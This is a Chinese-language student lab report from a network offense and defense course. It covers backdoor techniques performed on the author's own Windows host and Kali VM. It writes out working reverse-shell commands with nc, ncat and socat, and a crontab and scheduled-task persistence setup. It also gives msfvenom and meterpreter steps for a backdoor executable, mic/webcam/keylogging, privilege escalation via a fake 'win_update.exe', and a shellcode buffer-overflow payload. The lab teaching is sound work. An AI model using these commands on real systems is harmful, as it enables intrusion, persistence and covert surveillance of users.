• 20174304王天政《网络对抗技术》Exp2-后门原理与实践


    一、实验目标

    1.1 实验要求

    • 使用nc实现win,mac,Linux间的后门连接
    • meterpreter的应用
    • MSF POST 模块的应用

    1.2 实验内容

    • 使用netcat获取主机操作Shell,cron启动
    • 使用socat获取主机操作Shell,任务计划启动
    • 使用MSF  meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    二、实验准备

    2.1 关闭防火墙

    2.1.1主机

     2.1.2虚拟机

    kali关闭防火墙,会用到命令ufw,初次使用需要安装,apt-get install ufw,关闭为ufw disable,开启为ufw enable。

    2.2 ncat&socat

    nc又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统往往自带nc,Windows系统则需要自行下载。

    socat是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

    2.2.1 主机下载ncat&socat

    下载Netcat和Socat文件,并解压后放到相应的文件夹,在cmd界面中运行ncat和socat.exe,若得到提示,说明安装成功。

     

    2.2.2 Win获得Linux Shell

    在主机cmd中输入ipconfig查询自己主机的IP地址。

     

     主机的IP地址为192.168.0.100

    使用ncat程序监听本机的4304端口,输入ncat -l -p 4304

     在kali端进行反弹连接windows的4304端口,nc 192.168.0.100 4304 -e /bin/sh

     回到主机cmd,输入ls命令,windows获得kali的Shell

    2.2.3  Linux获得Win Shell

    在虚拟机kali命令行中输入ip add来查询虚拟机IP地址

     虚拟机IP地址为192.168.124.129

     在虚拟机kali命令行运行监听指令 nc -l -p 4304

     在主机端,反弹连接kali的4304端口,cmd中输入命令ncat -e cmd.exe 192.168.124.129 4304

    回到虚拟机,可以发现Linux获得windows的shell

     

    2.2.4 nc传输数据

    windows运行监听指令ncat -l 4304监听4304端口

     kali反弹连接4304端口,运行指令nc 192.168.0.100 4304

     输入内容后回车,主机cmd即可显示,同样,在cmd输入内容后回车,虚拟机命令行中也会显示

    2.2.5 使用ncat传输文件

    主机端监听本机4304端口,并把收到的数据保存到4304.txt中,cmd 中输入ncat -l 4304>4304.txt

    先在kali中创建4304.txt文件,kali反弹连接到 Windows的4304端口,并将kali端的文件4304.txt传输过去,终端输入 nc 192.168.0.100 4304 <4304.txt

    2.3  Meterpreter

    后门就是一个程序。

    传统的理解是:有人编写一个后门程序,大家拿来用。

    后来有一些牛人呢,就想编写一个平台能生成后门程序。

    这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。

    用的时候按需要组合,就可以生成一个可执行文件。

    三、实验过程

    3.1使用netcat获取主机操作Shell,cron启动

    在windows中开启监听4304端口,cmd中输入 ncat.exe -l 4304 命令

    在虚拟机kali端,输入指令crontab -e以编辑任务,crontab表示定时任务,-e表示编辑,选择第三个编辑器进入,

    在最后一行添加30 * * * * /bin/netcat 192.168.0.100 4304 -e /bin/sh,即每个小时的第30分钟反向连接Windows主机的4304端口

     保存并退出,输入指令crontab -l以确认保存,到时间后即在cmd中输入指令ls,可以发现已经获得shell

    3.2使用Socat获取主机操作Shell,任务计划启动

    在Windows系统下,打开控制面板->系统和安全->管理工具,在任务计划程序中点击创建任务,选择触发器选项卡,点击新建,将开始任务设置为工作站锁定时

     点击确定后,在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4304 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4304 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上

     然后实施触发条件,使用win+l使屏幕锁屏,让条件触发。得到一个cmd执行页面,页面不关,进入kali页面输入socat - tcp:192.168.0.100:4304,这里的第一个参数-代表标准的输入输出,第二个表示连接到 Windows 主机的 4304 端口,此时可以发现已经成功获得了 cmd shell

     

     回到任务程序计划库,将正在运行的任务关闭,让其回归就绪状态

    3.3使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

    在kali终端中运行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 -f exe > 20174304_backdoor.exe

    该命令执行成功后,会生成一个后门可执行程序:20174304_backdoor.exe

     在Windows命令行中进入ncat目录下,执行命令ncat.exe -l 4304 > 20174304_backdoor.exe,使主机进入接收文件模式

     在kali中执行命令nc 192.168.0.100 4304 < 20174304_backdoor.exe,将刚生成的文件从kali发送到主机

     kali中输入msfconsole,进入MSF控制台

    use exploit/multi/handler使用监听模块
    set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload 
    set LHOST 192.168.124.129,Kali的IP,和生成后门程序时指定的IP相同 
    set LPORT 4304,使用相同的端口

    最后输入 exploit 设置完成,开始监听

     双击打开 20174304_backdoor.exe文件,回到虚拟机,用ipconfig来验证,虚拟机中已经获取了windows的shell

    3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    3.4.1使用record_mic指令可以截获一段音频

    3.4.2使用webcam_snap指令可以使用摄像头进行拍照

    3.4.3使用screenshot指令可以进行截屏

    3.4.4输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录(第一遍未输入)

    3.4.5使用getuid指令查看当前用户,使用getsystem指令进行提权

     环境错误提权失败

    后上网查找以及参考张博同学的博客才基本了解原因

    首先输入msfconsole,进入MSF命令行,进行如下操作:

      输入use exploit/multi/handler,获取multi/hander模块

      输入use exploit/windows/local/ask

      输入set payload windows/meterpreter/reverse_tcp,指定payload

      输入set lhost 192.168.124.129

      输入set filename win_update.exe

      输入set session 1,设定会话序号

      输入options,可以查看当前在Windows/local/ask下面的设置

    继续输入exploit,执行刚刚生成的win_update.exe文件

     依旧失败,实在没有找到原因

    3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    首先准备一段Shellcode

    然后修改一些设置

    接下来,用perl来准备我们要输入到pwn4304里的十六进制数,指令为

    perl -e 'print "A" x 32;print"x**x**xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_04

    接下来我们来确定x**x**到底该填什么。打开一个终端注入这段攻击buf:(cat input_04;cat) | ./pwn4304

     再开另外一个终端,用gdb来调试pwn4304这个进程:

    1.找到pwn4304的进程号

     

     进程号为:1590

    2.启动gdb调试这个进程

     3.通过设置断点,来查看注入buf的内存地址

     发现断点在0x080484ae

    输入break *0x080484ae设置断点,在另外一个终端按下回车,回到gdb终端,输入info r esp,查看栈顶指针

    位置是在0xffffd6ac,那么shellcode就在高4个字节的地址,即0xffffd6b0,成功找到shellcode的起始地址后,将原文件中的数据进行修改为

    perl -e 'print "A" x 32;print"xb0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_4304

    修改之后将其输入到pwn4304中

    然后在另一个终端输入msfconsole,并打开监听。

    use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1 
    set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
    show options
    exploit

    在原来的终端输入命令(cat input_4304;cat) | ./pwn4304,然后再按一次回车,在另一个终端就可以得到shell开始运行

     四、思考与总结

    4.1 基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

      安装不安全、盗版的软件,下载来历不明的文件

    例举你知道的后门如何启动起来(win及linux)的方式?

           Windows:自启动或伪装之后引诱用户主动启动

           Linux:注入shellcode、crontab定时启动

    Meterpreter有哪些给你映像深刻的功能?

      使用主机的麦克风、摄像头、对主页进行截图、获取键盘输入记录以及提权

    如何发现自己有系统有没有被安装后门?

      查看有没有开放异常的端口;利用正规杀毒软件的检测;任务管理器查看有无异常进程;查看自启动的程序有无异常等

    4.2 实验总结与体会

    本次试验相比于上次的实验要简单些,只需要执行一些简短的、连续的指令,后面部分提权和选做内容的难度比较大,花了很长的时间,看了很多人的博客,才比较勉强的做了出来,尤其是两个的最后一步,做了很多很多次。第四部分提权,看了张博同学的博客,照着做了一遍,但最后一步依旧卡住做不出来,看了网上说的win10太强,也不知道真假;选做的内容需要用到实验一的知识,可以顺带复习巩固一下前面的知识点以及操作,最后一步与实验一的时候一样做了很多遍依旧是经常出现段错误,后来重新启动隔了一段时间就可以了。实验最大的收获是网络安全方面,我关掉防火墙却还做的如此艰难,那些黑客实在是太强了,轻松利用后门漏洞进行攻击,同时也提醒我们,一定要有安全意识,定期查杀病毒、修补漏洞,不安全的东西一定不要打开。希望以后能够学到更多的防御后门修补漏洞的知识以及方法。

  • 相关阅读:
    set, unordered_set模板类
    C/C++ Bug记录
    win10远程连接
    C/C++缓冲区刷新问题
    hihocoder1711 评论框排版[并查集+set]
    makefile
    Virtual Table
    粤语
    xilinx SDK开发 GPIO使用API总结
    基于zynq 7020的串口UART中断实验
  • 原文地址:https://www.cnblogs.com/wtz0409/p/12533205.html
Copyright © 2020-2023  润新知